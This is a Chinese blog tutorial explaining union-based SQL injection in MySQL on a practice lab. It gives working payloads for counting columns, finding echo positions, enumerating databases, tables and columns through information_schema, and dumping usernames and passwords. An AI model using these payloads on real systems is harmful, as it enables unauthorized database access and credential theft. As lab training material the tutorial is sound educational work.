sql联合注入原理

联合注入

原理

查看源码:

QQ截图20240527152219

可以看到这里没有对传入的id做任何过滤直接就拼接进了查询语句,试试传入?id=1',发现报错:

image-20240527154030509

为什么会报错,拼接后的语句:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

可以看到报错是把错误的地方用单引号引用了

所以就算不知道后端代码,也能通过报错判断出传参的包裹方式,利于我们后面的构造。

那么我们传入:

?id=1'%23 
拼接语句
SELECT * FROM users WHERE id='1'#' LIMIT 0,1

发现不会报错了,接下来进行注入。

基础内容

  • 一个可利用的数据库:information_schema
  • information_schema库的一些可利用的表

QQ截图20240527205403

其中比较重要的三个表:

SCHEMATA表

schemata表存储该用户创建的所有数据库的库名。要记住该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表

TABLES表存储该用户创建的所有数据库的库名和表名
table_name存储这个数据库对应数据库名的里面的表的值
table_schema是储存了这个数据库所有数据库名的字段

COLUMNS表

COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名
table_schema存的是数据库里面所有的数据库名
table_name对应数据库名的表名
column_name存储的是对应表名的字段名

至于一些mysql函数利用,参考:https://blog.csdn.net/Waffle666/article/details/111410039

实操

一、判断列数

先利用order by判断列数(原理:order by 的作用是对前面查询的数据属性进行分组,比如说前面查询的数据是甲、乙、丙,我们可以根据这三种属性的一到三种进行分类,但如果只有3种属性,而order by 4对四种属性进行分组就会报错)

QQ截图20240527212226

1'order by 4-- a

那么说明这里有三种属性也就是三个段名。

为什么要知道有多少列:

QQ截图20240527211308

可以看到union的每个查询必须包含相同的列。其实也可以直接利用union select在判断回显的时候进行判断列数。只是order by在判断大数目时更方便。

二、判断回显位

接下来判断回显位,利用union select(原理:看到下面传的参的第一个select是-1,因为union会把查询结果组合在一起。但由于这里源码是limit 0,1所以还是只会显示一个结果,所以把前面id设为-1,查询为空就会显示我们的数字,这样可以判断显示位)

QQ截图20240527214353

查询结果:

QQ截图20240527214526

?id=-1'union select 1,2,3-- a

三、查看基本信息

在回显位查看基本信息(其实只有看数据库就行了)

一些常用函数:

user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os

QQ截图20240527215241

?id=-1'union select 1,database(),@@version-- a

四、数据查询

查库名:

QQ截图20240527222126

?id=-1'union select 1,2,schema_name from information_schema.schemata-- a

这句话就是在information_schema数据库中的schemata表中查询schema_name段的值(也就是所有数据库名称,上面也有讲这个表)

但由于limit限制所以只能显示一个值。可以加个group_concat(),其可以拼接列数据(concat是针对行数据进行拼接,concat_ws和concat区别不大只是可以指定分隔符)

QQ截图20240528143823

-1'union select 1,2,group_concat(schema_name) from information_schema.schemata-- a

其实这里数据库查不查无所谓,只是一般ctf中在当前数据库没找到flag时可以考虑其他数据库。

后面的注入就大同小异了。

查表名:

QQ截图20240528144737

-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- a

简单分析一下,就是查询information_schema数据库tables表中的table_name字段的值(这个段的值也就是数据库对应的数据库名的里面的表的值)在里字段table_schema来指定数据库。

查段名:

QQ截图20240528145506

-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- a

和上面原理没有区别,查询指定数据库的指定表的段名。

查数据:

现在知道了数据库security下users表的所有段名,那么接下来就是查取users表下的全部数据:

QQ截图20240528150626

-1'union select 1,group_concat(id,',',username),group_concat(password) from security.users-- a

因为当前默认数据库就是security,所以也可写成:

-1'union select 1,group_concat(id,',',username),group_concat(password) from users-- a
posted @ 2024-05-28 15:22  高人于斯  阅读(80)  评论(0编辑  收藏  举报